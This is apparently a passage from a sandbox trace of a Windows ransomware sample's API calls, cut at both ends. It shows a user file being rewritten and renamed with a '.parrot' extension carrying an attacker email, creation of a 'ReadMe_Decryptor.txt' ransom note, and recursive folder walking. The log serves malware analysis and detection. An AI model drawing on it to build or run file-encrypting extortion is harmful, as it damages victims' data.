Flags=0x0, Size=0x4) returned 0x55bb88 [0051.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x600980 [0051.274] GetLastError () returned 0x0 [0051.274] SetLastError (dwErrCode=0x0) [0051.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7520 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0051.274] GetLastError () returned 0x0 [0051.274] SetLastError (dwErrCode=0x0) [0051.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0051.274] GetLastError () returned 0x0 [0051.274] SetLastError (dwErrCode=0x0) [0051.274] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4ca0 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x63c990 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x63d9d0 [0051.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c990 | out: hHeap=0x540000) returned 1 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28e9df8 [0051.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63d9d0 | out: hHeap=0x540000) returned 1 [0051.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28ede38 [0051.275] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e9df8 | out: hHeap=0x540000) returned 1 [0051.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf) returned 0x5f4d30 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4ca0 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4d30 | out: hHeap=0x540000) returned 1 [0051.278] GetLastError () returned 0x0 [0051.278] SetLastError (dwErrCode=0x0) [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e7520 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0051.278] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0051.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0051.278] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0051.279] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c58 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x562910 [0051.279] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0051.279] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5785c8 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5785c8 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x600980 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c990 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28f5e78 [0051.280] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c990 | out: hHeap=0x540000) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28fde30 [0051.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f5e78 | out: hHeap=0x540000) returned 1 [0051.282] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x2902580 [0051.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0051.282] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x2909060 [0051.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2902580 | out: hHeap=0x540000) returned 1 [0051.283] WriteFile (in: hFile=0x320, lpBuffer=0x2909080*, nNumberOfBytesToWrite=0x7098, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2909080*, lpNumberOfBytesWritten=0x18fa94*=0x7098, lpOverlapped=0x0) returned 1 [0051.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2909060 | out: hHeap=0x540000) returned 1 [0051.283] UnlockFile (hFile=0x320, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7097, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.283] CloseHandle (hObject=0x320) returned 1 [0051.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0051.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0051.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0051.285] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\l7quBA3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\l7quba3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\l7quBA3.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\l7quba3.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0051.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0051.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0051.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ede38 | out: hHeap=0x540000) returned 1 [0051.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0051.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0051.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0051.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0051.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0051.289] GetFileType (hFile=0x320) returned 0x1 [0051.289] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0051.424] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0051.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.424] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.426] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.426] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.426] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0051.426] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0051.426] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0051.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0051.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0051.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0051.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0051.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.426] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0051.426] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.426] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.428] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.428] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.428] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0051.428] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1 [0051.428] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1 [0051.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0051.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d14a8 [0051.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0051.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0051.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.429] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0051.442] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.442] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.443] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.443] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.443] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1 [0051.443] lstrcmpW (lpString1="P7Y3F7QB", lpString2=".") returned 1 [0051.443] lstrcmpW (lpString1="P7Y3F7QB", lpString2="..") returned 1 [0051.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0051.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fe998 [0051.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0051.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0051.443] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.443] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0051.444] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.444] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.445] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.445] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.445] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.445] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c178 [0051.445] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.445] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0051.445] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0051.445] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.446] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c178 | out: hHeap=0x540000) returned 1 [0051.446] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0051.446] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0 [0051.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe998 | out: hHeap=0x540000) returned 1 [0051.446] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0051.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0051.446] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.446] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1 [0051.446] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 